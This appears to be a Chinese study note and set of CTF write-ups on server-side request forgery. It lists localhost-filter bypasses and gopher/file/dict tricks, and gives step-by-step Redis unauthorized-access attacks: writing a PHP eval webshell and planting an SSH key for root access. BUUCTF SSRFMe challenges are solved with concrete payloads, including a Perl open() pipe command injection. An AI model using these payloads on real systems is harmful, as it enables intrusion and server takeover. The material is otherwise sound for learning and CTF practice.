引发ssrf漏洞的几个函数
- file_get_contents() 把整个文件读入一个字符串中,获取本地或者远程文件内容
- fsockopen() 获得套接字信息
- curl_exec() 执行一个curl会话,由curl_init()初始化一个新的会话,返回一个curl句柄
- fopen() 打开文件或者URL
- readfile() 输出一个文件,读入一个文件并写入到输出缓冲
ssrf用到的协议
- file协议:获取敏感文件信息——file:///etc/passwd
- dict协议:探测内网主机以及端口开放情况——ditc://ip:port/命令
- gopher协议:在ssrf的利用中一般用来攻击redis,mysql,fastcgi,smtp等服务
常见绕过
1.@符号绕过
http://127.0.0.0.1==http://www.baidu.com@127.0.0.1
2.点分割符号替换(可以使用。来代替.)
http://127。0。0。1
3.本地回环地址的其他表现形式
127.0.0.1,通常被称为本地回环地址,一些其他的表示方法如下:
http://127.0.0.1
http://localhost
http://127.255.255.254 ## 从127.0.0.2-127.255.255.254都可以
http://[::1]
http://[::ffff:7f00:1]
http://[::ffff:127.0.0.1]
http://127.1
http://127.0.1
http://0:80
4.IP进制转换
点分十进制:127.0.0.1:
八进制:0177.0.0.1
十六进制:0x7f.0.0.1
Redis基础知识
关键词:非关系型数据库,默认端口号是6379,key-value存储系统
## redis的编译安装
wget http://download.redis.io/releases/redis-6.0.8.tar.gz
tar -xzf redis-6.0.8.tar.gz
cd redis-6.0.8
make
cd src
./redis-server # 启动redis
./redis-server ../redis.conf& # 指定配置文件后台运行
./redis-cli -h IP # 运行客户端,可以指定IP远程登录## 基础语法,在客户端下运行以下命令
select [dbnum] # 换数据库,每个数据库对外都是从0开始的递增数字命名
keys * # 查看所有键
ping # 测试服务是否运行,如果返回PONG则在运行
set name "zhansan" # 设置键值对,这是字符串型,还有hash类型,列表list,集合set,有序集合sorted set
get name # 查看指定键的值
del name # 删除键
quit # 退出
save/bgsave # 持久化操作,会保存在dir/dbfilenameflushdb # 删除当前数据库中数据
flushall # 删除所有数据库中数据info # 查看redis基本信息
Redis未授权访问漏洞
影响版本
数据库版本在4.x/5.x以下
漏洞产生条件
redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源IP访问等相关安全策略,直接暴露在公网;没有设置密码认证(一般为空),可以免密码远程登录redis服务。
利用姿势
1.无口令远程登录redist
2.利用redis的持久化写webshell
3.利用持久化利用公私钥认证获取root权限
4.利用主从复制,利用攻击软件获得shell
### 漏洞利用前提条件
## 修改配置文件redis.conf
vi redis.conf
# 注释掉bind 127.0.0.1,添加bind 0.0.0.0
# 关闭保护模式,否则外部IP无法连接:protected-mode no
## 开启6379端口
firewall-cmd --list-ports # 查看防火墙端口
firewall-cmd --zone=public --add-port=6379/tcp --permanent
firewall-cmd --reload # 重新加载防火墙### 利用姿势2
./redis-cli -h 靶机IP
config set dir /var/www/html # 要有服务器apache/nginx,并打开80端口
config set dbfilename test.php
set webshell "\r\n\r\n<?php @eval($_POST[1]); ?>\r\n\r\n" # 需要知道网站路径,还要有文件读写权限
save### 利用姿势3
ssh-keygen -t rsa # 在攻击机中生成ssh公钥和私钥,密码设置为空
cd /root/.ssh # 同时确保靶机也有.ssh文件夹
(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n")>1.txt # 将生成的公钥保存到1.txt
cat 1.txt|redis路径/redis-cli -h 靶机IP -x set crack # 连接靶机上的redis服务,将1.txt写入redis,crack为键,1.txt为值
./redis-cli -h 靶机IP # 然后利用持久化把公钥写入靶机中
config set dir /root/.ssh
config set dbfilename authorized-keys
save
ssh -i id_rsa root@靶机IP # 在攻击机上使用ssh免密登录靶机,利用私钥成功登入redis服务器,获得root权限成功
CTF实例
BUUCTF-网鼎杯2020玄武组SSRFMe(主从复制)
1.这题的考点是ssrf漏洞+redis主从复制。题目打开直接给了源码,进行代码审计。
a.接收get参数url,不为空则进行函数处理。
b.check_inner_ip函数判断是否为合法内网IP,并使用http或gopher等协议。
c.safe_request_url函数先用上一个函数判断,返回false会开启curl会话,输入值。
2.在safe_request_url中用到了curl_exec函数,怀疑有ssrf漏洞,同时还有提示:让我们本地访问hint.php。因此我们要绕过check_inner_ip函数。
payload1:
/?url=http://0.0.0.0./hint.php
或:
/?url=http://[0:0:0:0:0:ffff:127.0.0.1]/hint.php
其中0.0.0.0代表本机中所有IPv4地址,监听0.0.0.0的端口就是监听本机中所有IP的端口,后面的第二个payload中的地址是IPv4映射的IPv6地址,此类型地址用于将IPv4节点表示为IPv6地址,它允许IPv6应用程序直接与IPv4应用程序通信。
IPv4地址是32位,IPv6地址是128位。IPv4映射地址以 0:0:0:0:0:ffff表示前96位(16*6),原IPv4地址转换位十六进制填充后32位(也可以不转换为十六进制)。
3.用上述payload访问hint.php得到redis密码为root,接下来要用redis主从复制,利用目录为/tmp。思路如下:
创建一个恶意的redis服务器作为redis主机(master),该redis主机能够回应其他连接它的redis从机的响应。有了恶意的redis主机之后,就会远程连接靶机中的redis服务器,通过slaveof命令将目标redis服务器设置为从机(slave)。然后将主机上的exp同步到从机上,并将dbfilename设置为exp.so。最后再控制从机加载模块执行系统命令即可。
但是到加载模块那里试了好久一直报错,无法执行系统命令,用vps也不行(先放在这,哪天解决了再更新)
https://www.cnblogs.com/karsa/p/14123995.html
很经典的一道CTF-WriteUP[网鼎杯 2020 玄武组]SSRFMe - FreeBuf网络安全行业门户
CTFHub-技能树-ssrf-redis协议(写webshell)
gopher协议:
在www出现之前,gopher是Internet上最主要的信息检索工具,gopher站点也是最主要的站点。Gopher协议没有默认端口所以要指定,因此有了下面的基本格式
最基本的格式:
gopher://<IP>:<port>/_ 后接TCP数据流
Gopher可以发送POST数据也可以发送GET数据。
- Gopher回车换行是%0d%0a,所以不使用工具总是要自己用脚本把%0a改成%0d%0a。
- POST参数之间的&分隔符也需要URL编码。
- 同时Gopher还可以对FTP、Telnet、Redis、Memcache、mysql进行攻击
1.可以利用gopherus工具生成payload
git clone https://github.com/tarunkant/Gopherus
cd Gopherus
chmod +x install.sh
./install.sh # 可以直接用gopherus命令
gopherus --exploit redis
flushall
set 1 '<?php @eval($_POST[1]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save
2.当出现上面这个页面,可以用file://协议查看一下。然后就可以蚁剑连接
?url=file:///var/www/html/shell.php
BUUCTF-HITCON2017-SSRFMe(Perl语言中GET命令执行)
1.题目打开给了源码,进行代码审计。
a.输出当前页面用户的ip
b.构建md5(orange+ip)的目录,并将它作为当前目录
c.执行GET拼接shell命令,根据filename的dirname再创建并更换当前目录
d.将GET命令执行结构写入filename的basename文件中
2.具体做法如下:
payload1:将GET /命令的结果写入test文件中
?url=/&filename=test
如果GET后面跟路径的话,可以直接获取文件或目录内容,即GET / == ls /,GET /root/flag == cat /root/flag
然后访问/sandbox/md5(orange+ip)/test可以看到:根目录下有flag和readflag文件,
还想用上面payload读flag,发现不可读取,而readflag是elf执行文件。所以明显的是要执行readflag文件去读取flag。
3.想要执行readflag文件,要利用Perl语言中GET命令执行漏洞。
在perl语言中,open函数存在命令执行漏洞:如果open文件名中存在管道符|,就会将文件名直接以命令的形式执行,然后将命令的结果存到与命令同名的文件中。
在本题中调用了GET函数,GET使用file协议的时候就会调用到perl的open函数
payload2:
?url=&filename=|/readflag
一开始文件夹下是空的:
后面在执行了payload2后,会多出一个"|/"文件夹,下面就是readflag
所以是为了凑出管道符,而且要执行的命令先前必须要有以命令为文件名的文件存在
3.执行payload3,由于有管道符|,所以将/readflag直接以命令的形式执行。最后访问对应路径得到flag。
payload3:
?url=file:|/readflag&filename=test
BUUCTF-De1CTF2019-SSRF Me
1.题目一打开给了python源码,进行代码审计。需要沉下心来慢慢看。
a.有三个路由,/、/De1ta、/geneSign。在根目录下显示code.txt即源码的文件,在/geneSign下需要传入param参数,输出getSign函数的返回值(getSign返回secert_key+param+action的md5值),显然这两个路由不能得到flag
b.在/De1ta路由下,有f.read(),应该可以读取flag.txt。想要得到flag需要满足:
①需要传入get参数action,cookie参数param和sign。
②action要同时包含read和scan。因为如果action里包含scan,会调用scan方法(对param进行url请求),并将scan的返回值写入result.txt;如果action里包含read,会读取result.txt并写入result变量中。
③param要有flag.txt(不能包含gopher和file)。因为上面action可以对param进行url请求,读取其中的内容。
④sign要等于getSign(action,param)。而想要知道具体md5值,可以通过/geneSign路由,因为它也有调用getSign,而且会返回md5值。现在在/De1ta路由,action=readscan,param=flag.txt,所以会返回secert_key+flag.txtreadscan;但是在/geneSign路由下,action是固定的,为scan,所以这里param不能为flag.txt,要为flag.txtread,才会返回secert_key+flag.txtreadscan。
2.根据上面的代码审计,先访问/geneSign路由,得到对应的MD5值,再访问/De1ta路由,填入对应的参数,即可得到flag。
其他解法:
De1CTF ssrf_me 的三种解法 - 先知社区 (aliyun.com)
哈希拓展攻击
Python 2.x - 2.7.16 urllib.fopen支持local_file导致LFI(CVE-2019-9948)
BUUCTF-[第三章web进阶]python里的ssrf
1.题目提示:尝试访问到容器内部的8000端口和url path /api/internal/secret即可获取flag。题目打开显示url parameter is required,需要传入url参数,只能get传入,post传入会报错。
2.当传入?url=http://127.0.0.1,显示127.0.0.1is forbidden。localhost也不行,因此需要绕过127.0.0.1,试了一下:以下的可以得到flag。
?url=http://127.127.127.127:8000/api/internal/secret
?url=http://127.0.0.2:8000/api/internal/secret ## 从127.0.0.2-127.255.255.254都可以
?url=http://0.0.0.0:8000/api/internal/secret
?url=http://0:8000/api/internal/secret